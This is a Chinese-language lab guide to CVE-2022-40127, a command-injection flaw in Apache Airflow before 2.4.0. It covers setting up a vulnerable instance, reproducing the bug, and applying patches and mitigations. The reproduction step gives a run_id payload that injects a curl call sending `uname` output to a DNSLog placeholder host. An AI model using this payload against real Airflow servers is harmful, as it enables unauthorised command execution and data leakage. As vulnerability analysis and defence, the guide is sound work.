Apache Airflow (CVE-2022-40127) 漏洞分析与复现指南
漏洞概述
漏洞编号: CVE-2022-40127
影响产品: Apache Airflow
影响版本: Apache Airflow < 2.4.0
漏洞类型: 命令注入
CVSS评分: 待补充(根据实际危害程度)
披露时间: 2022年11月24日
Apache Airflow是一个基于有向无环图(DAG)的工作流平台,可用于编程、调度和监控任务流程。该漏洞存在于Airflow的Web界面中,当环境中存在默认Example Dags时,攻击者可通过构造恶意run_id参数实现任意命令执行。
漏洞原理
漏洞根源在于Airflow对用户提供的run_id参数处理不当,当存在默认Example Dags时,攻击者可以通过特制的run_id参数注入恶意命令。具体来说:
- 攻击者需要能够访问Airflow后台
- 环境中必须启用了默认的Example Dags
- 通过example_bash_operator的Trigger DAG功能
- 在run_id参数中注入恶意命令
环境搭建
系统要求
- 操作系统: Ubuntu
- Apache Airflow版本: 2.3.4(漏洞版本)
- Python版本: 3.8
- 数据库: MySQL 5.7.39
安装步骤
-
设置环境变量
export AIRFLOW_HOME=~/airflow -
安装Airflow
pip3 install apache-airflow==2.3.4 -
修改配置文件
- 初始化后会在
~/airflow目录生成airflow.cfg文件 - 需要修改两个关键配置:
# 修改执行器类型 executor = LocalExecutor # 修改数据库连接 sql_alchemy_conn = mysql://airflowdb:airflowdb123@localhost:3306/airflowdb
- 初始化后会在
-
MySQL配置
- 在
my.cnf文件的[mysqld]段添加:explicit_defaults_for_timestamp = true - 重启MySQL服务
- 在
-
创建数据库
- 创建名为
airflowdb的数据库 - 注意:数据库引擎必须为InnoDB,否则会报错"Specified key was too long; max key length is 1000 bytes"
- 创建名为
-
初始化数据库
airflow db init- 如果报错
ModuleNotFoundError: No module named 'MySQLdb',需要安装mysqlclient:python3 -m pip install mysqlclient
- 如果报错
-
创建管理员用户
airflow users create --username admin --firstname admin --lastname admin --role Admin --email admin@lab.com- 命令执行后会提示设置密码
-
启动服务
- 启动Web服务器:
airflow webserver -p 11888 - 启动调度器:
airflow scheduler
- 启动Web服务器:
漏洞复现步骤
-
访问Airflow Web界面并登录(默认地址:
http://localhost:11888) -
找到"example_bash_operator" DAG
-
点击该行右侧Action列的三角符号,选择"Trigger DAG w/ config"
-
在配置界面中,在"run id"字段输入以下payload:
{"lab":"\";curl `uname`.xxxxxx.dnslog.pw;\""}- 将
xxxxxx替换为你的DNSLog域名
- 将
-
提交后,观察DNSLog平台是否有请求记录,验证命令是否执行成功
漏洞修复方案
-
官方修复版本
- 升级到Apache Airflow 2.4.0或更高版本
- 官方修复PR: https://github.com/apache/airflow/pull/25960
-
临时缓解措施
- 禁用默认的Example Dags
- 在生产环境中不应使用Example Dags
-
安全建议
- 限制Airflow Web界面的访问权限
- 定期更新Airflow到最新稳定版本
- 审查所有自定义DAG的安全性
技术分析
该漏洞利用了Airflow对用户输入的run_id参数处理不当的问题。当run_id参数被传递到bash命令中时,由于缺乏适当的过滤和转义,攻击者可以注入任意命令。
漏洞利用的关键点:
- example_bash_operator DAG默认使用BashOperator执行命令
- run_id参数被直接拼接到命令中
- 攻击者可以通过JSON配置注入恶意命令
防御措施
-
输入验证
- 对所有用户提供的参数进行严格验证
- 实现白名单机制,限制run_id的字符集
-
安全配置
- 生产环境应禁用示例DAG
- 使用最小权限原则配置Airflow
-
网络隔离
- 将Airflow部署在内网环境
- 配置适当的网络访问控制
-
日志监控
- 监控可疑的DAG触发行为
- 记录所有DAG执行日志
总结
CVE-2022-40127是一个典型的命令注入漏洞,影响Apache Airflow 2.4.0以下版本。通过该漏洞,攻击者可以在服务器上执行任意命令,可能导致严重的安全后果。管理员应及时升级到修复版本或采取适当的缓解措施。